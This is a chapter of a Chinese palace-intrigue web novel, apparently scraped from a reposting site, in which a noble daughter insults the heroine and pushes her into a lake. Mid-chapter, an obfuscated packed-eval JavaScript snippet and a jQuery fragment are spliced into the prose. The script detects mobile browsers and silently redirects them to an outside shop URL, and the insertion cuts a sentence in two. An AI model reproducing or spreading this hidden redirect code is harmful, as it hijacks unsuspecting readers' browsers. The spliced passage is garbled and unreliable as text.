文趣网 > 其他小说 > 陆郎,兼祧我吧 > 15. 辱残花败柳
    晋江文学城独家首发。

    “二姒,依我看,陆碧裳的教养还需要跟嬷嬷学学吧?”

    王氏一贯瞧不上兰氏母女,今儿个被陆碧裳这个小辈如此打脸,便是再好的修养也经不起这般折辱,更莫说牵扯的还是她的独子。

    兰氏一听这话,心里更不是滋味,她女儿不过是有些心直口快罢了,想她王夫人自诩世家贵女,平日里拿着鼻孔瞧人,今日却同一个小辈斤斤计较,未免太过小家子气。

    更莫说如今管家权还被分了去,兰氏的脸唰地一下就沉了下来。

    “好了,裳娘,你是姐姐,还没给阿泠见面礼呢,怎的吃起阿泠的醋来了?带你泠妹妹去你屋子里坐坐,你大哥前几日不是还派人给你送了不少花笺吗?”

    老夫人的口吻强硬,不容人拒绝。

    但她不仅没罚陆碧裳,反而想让她同泠娘交好,饶是兰王二人见多识广,眼下也不明白老太太这一出,到底是安的什么心。

    瞧泠娘那一副小媳妇的模样,低眉垂首,唯唯诺诺,眼下让她去二房,这不是羊进狼口,保准儿被欺负呢?

    “去吧,我也乏了,你们小一辈的在一起热闹热闹。”

    陆碧裳脑筋转得快,对泠娘表现出极大的兴趣,甚至还在陆老夫人面前满口应承,“大母你就放心吧,孙女定会好好关照泠妹妹。”

    先才唤她上官姑娘,这会到她嘴里就变成了泠妹妹,若非了解她的,指不定会认为她俩姊友妹恭,和睦无间。

    陆碧裳也不管其他人,率先拽了泠娘出去,大有同她最好的意思。

    老太太随和地笑了笑,“你们瞧瞧,方才还和阿泠闹别扭,这才没一会儿,又好得一个人似的。”

    兰氏不敢接话,她总觉得老太太在给他们二房下套。

    兰氏脑海中突然白光乍现,依稀想起在老国公临死之前,她命人将老国公的遗书展开,里面字字句句无不表达他对侍妾的眷念之情。

    于是二房和三房的姨娘以及老国公另三位侍妾通通陪葬,入了祖坟。如此,陆家上一代的女人就只剩下老夫人一位宗妇。

    要说当初也不是没怀疑过,但字迹和私印都非伪造,连老国公最信任的南管家都指认了,且书上所言句句属实,老国公同老夫人的确貌合神离。

    孝治天下,若非如此,二老爷和三老爷自然要闹上一闹。

    兰氏自然是对庶母没有多深厚的感情,县主伯姒常年不在府中,她持家十几载,陆老夫人从未跟她红过脸,是个不可多得的阿母。更不消说她的郎君还是庶子,能将中馈交予她,她还有什么怨言?

    然怀疑的种子一旦种下,如暗草生根。眼见老夫人吩咐春柳儿将宝石头面送回去,她忽觉眉心突突乱跳,心中莫名发慌,兰氏强装镇定,“曦娘媚娘,你二人也去瞧瞧她们两个,别一会又闹着泠娘子了。”

    泠娘出事是小,她们二房可不能再多生事端。先不说老夫人如何,就是陆乂那儿也不好交代。

    然而她还是太低估自己那个被宠得目中无人的小女儿了。

    在丰锦堂尚且能当着众人折辱泠娘,自不必提私底下会如何惩戒小绵羊。

    果不其然,兰家姐妹在湖畔寻到她二人,泠娘已经生生挨了一巴掌,玉颊灼热,她偏着头踉跄了几步,强忍眼中湿意,宛若绵绵细雨中被蛛丝笼罩的玉腰奴。

    兰媚儿从兰曦儿的脸上读到自己兴奋的神情,她深呼吸几口气,稍加调整后才以一副和事佬的模样出现,“呀,表妹,这是怎么了?”

    若说陆碧裳是坏在明处,那兰媚儿便是笑里藏刀,口腹蜜剑,她上前执起泠娘的手,又拉过陆碧裳,“嘻嘻,外姥可是交代你们两个要好好相处的。”

    陆碧裳何许人也?便是瞧泠娘一眼都嫌脏,何况同她拉手?

    “少碰我,你不是被疯婆子咬过吗,脏死了,残花败柳。”

    兰媚儿顿了顿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631285|206357||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,她可记得方才还是陆碧裳把泠娘拉过来的,这陆碧裳真是言行不一,既荒唐又可笑。

    陆碧裳瞪她一眼,而后在兰媚儿身上抹了抹碰过泠娘的两根指头,嫌恶之情不言而喻。

    “我若是你,早就一根白绫吊死算了,伤风败俗的玩意,真是下贱,怕是娼馆的女伎都比你高尚几分。”

    也不知她从哪儿学来这等污言秽语,泠娘何曾听过这般歹毒的言语,霎时脸白如雪,怔怔然立在原地,仿佛一尊毫无生气的白玉菩萨。

    偏偏陆碧裳嘴里没个把门,又仿佛存着弄死泠娘的念头,对她步步紧逼,“兰光院的人可都看见了,你是被臭男人救回来的,哼,就你还想当我三嫂?给我几位阿兄倒溺器都不配!”

    字字诛心,句句羞辱,泠娘被逼到湖畔边缘,她突然失了全部力气,自己无从辩驳,一句话都说不出来,好想同她说的那样,就此死掉。

    偏生陆碧裳此刻怒气中烧,又见兰媚儿和兰曦儿两人一副看热闹的模样,她眼中寒光乍现,索性一不做二不休,猛然拽了兰媚儿的手直接往泠娘胸前一推,泠娘本就大病初愈,陆碧裳又存了让她身亡的执念,只听得扑通一声,四下溅起丈高的水花。

    湖水微腥,待兰媚儿回过神来,登时方寸大乱,仿佛顺着她脖颈往下淌的不是水,而是暖乎乎的鲜血。

    “你……”

    “哼,你怕什么,你我都是一条船上的,媚表姐,别以为我不知道你喜欢二哥哥,若是她还活着,你能有机会吗?”

    陆碧裳肆无忌惮地点破她的心思,又朝身后望向兰曦儿,“曦表姐,你也不希望那个小娘养的做我三哥哥的正妻吧?”

    陆家女郎可以做任何事,因为她姓陆,陆碧裳甚至未曾环顾四周,她可不管旁的如何,总之心腹大患已除,她嘴角噙着一抹冷笑,丝毫不掩饰眼底里的嘲讽。

    怕是在她眼里,女子只分为两类人,姓陆的,以及想嫁入陆家的。